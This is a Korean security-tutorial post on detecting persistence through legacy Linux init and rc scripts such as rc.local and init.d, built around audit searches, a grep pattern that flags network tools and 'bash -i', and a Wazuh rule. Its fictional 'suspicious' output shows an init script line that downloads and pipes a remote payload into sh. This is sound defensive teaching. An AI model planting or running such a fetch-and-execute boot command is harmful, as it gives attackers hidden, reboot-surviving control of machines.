시스템 보안 · 취약점 › F. 비정상 프로세스 · 지속성 징후 · 23/50편 (전체 273/450)
학습 단계: 지속성(persistence) 메커니즘
실습 표기: 이 글의 명령어·출력·로그는 로컬 VMware 테스트 VM(Rocky Linux 9 / Ubuntu 22.04) 기준의 「실습 예시」이며, IP·계정·호스트명은 가상의 값입니다.
systemd 이전의 init·rc 스크립트는 여전히 호환 계층으로 동작하며 지속성에 악용됩니다. /etc/rc.local·/etc/init.d·rc.d는 부팅 시 실행되며, systemd 감시만 하면 놓치기 쉽습니다.
init·rc 스크립트 지속성
/etc/rc.local 부팅 마지막 실행(호환 계층)
/etc/init.d/* SysV init 스크립트
/etc/rc*.d/ 런레벨 링크
/etc/rc.d/rc.local (RHEL 계열)
공격: rc.local 등에 악성 명령 추가 → 부팅 시 실행
특징: systemd만 보면 놓치는 전통적 경로
많은 시스템이 systemd-rc-local-generator로 rc.local을 여전히 실행합니다. 전통적 경로도 반드시 감시해야 지속성을 놓치지 않습니다.
| init·rc 위치 | 실행 시점 | 위험 |
|---|---|---|
/etc/rc.local | 부팅 마지막 | 높음 |
/etc/init.d/* | SysV init | 중간 |
/etc/rc*.d/ | 런레벨 | 중간 |
/etc/rc.d/rc.local | RHEL 부팅 | 높음 |
| 정상 rc 설정 | 정상 | 정상 |
# init·rc 스크립트 지속성 탐지 (분석 방법)
# rc·init 스크립트 변경 이벤트(watch)
sudo ausearch -k persist -i --start recent 2>/dev/null | grep -E 'rc\.local|init\.d|rc\.d' | tail
# rc 스크립트 의심 내용
sudo grep -rE 'curl|wget|nc |/tmp/|/dev/shm/|base64|bash -i' /etc/rc.local /etc/rc.d/rc.local /etc/init.d/ 2>/dev/null
$ (rc 스크립트 변경) (없음)
$ (의심 내용) (없음 또는 정상 부팅 설정만)
init·rc 스크립트에 변경 이벤트가 없고, 네트워크·비표준 경로 등 의심 내용이 없는 상태가 정상입니다.
$ (rc 스크립트 변경)
04:13 auid=root /etc/rc.local
$ (의심 내용)
/etc/rc.local: /tmp/.x &
/etc/init.d/x: curl http://192.0.2.88/p|sh
init·rc 지속성 분석입니다(가상의 예시).
[등록] /etc/rc.local: /tmp/.x & (watch/FIM)
↓
[부팅] systemd-rc-local-generator → rc.local 실행
↓
[실행] /tmp/.x (부팅 시 비표준 경로 실행)
↓
[지속] 재부팅마다 실행 (전통적 경로)
→ systemd만 보면 놓침, rc.local도 감시 필요
| 요소 | 해석 |
|---|---|
| rc.local 변경 | 전통적 지속성 |
| /tmp 명령 | 비표준 실행 |
| 부팅 트리거 | 재부팅 복구 |
| systemd 사각 | 놓치기 쉬움 |
전통적 경로(rc.local·init.d)를 systemd와 함께 감시해야 지속성을 놓치지 않습니다.
<!-- 실습 예시 룰: 적용 전 wazuh-logtest 및 테스트 환경 검증 필요 -->
<group name="local,syssec_f,persistence,">
<rule id="105220" level="12">
<if_sid>105060</if_sid>
<field name="audit.file" type="pcre2">/etc/rc\.local|/etc/init\.d/|/etc/rc\.d/|/etc/rc[0-9]\.d/</field>
<description>init·rc 스크립트 지속성 변경(부팅 실행)</description>
<mitre><id>T1037</id><id>T1547</id></mitre>
</rule>
</group>
rc 스크립트 내용(비표준 경로·네트워크)은 FIM으로 탐지합니다. 전통적 경로를 감시 대상에 반드시 포함합니다.
| init·rc 위치 | 실행 시점 |
|---|---|
| /etc/rc.local | 부팅 마지막 |
| /etc/init.d | SysV init |
| /etc/rc*.d | 런레벨 |
| rc.d/rc.local | RHEL 부팅 |
| 면접 포인트 | "rc.local·init.d는 전통적 부팅 지속성 — systemd만 보면 놓침" |
다음 편 274. 프로세스·지속성 — LD_PRELOAD·동적 라이브러리 지속성 탐지 에서는 LD_PRELOAD·동적 라이브러리 지속성을 다루는 LD_PRELOAD·동적 라이브러리 지속성 탐지를 다룹니다.
이전 편: 272. 프로세스·지속성 — systemd 사용자 서비스·autostart 지속성 탐지
📚 시리즈 전체 보기: 시스템 보안 · 취약점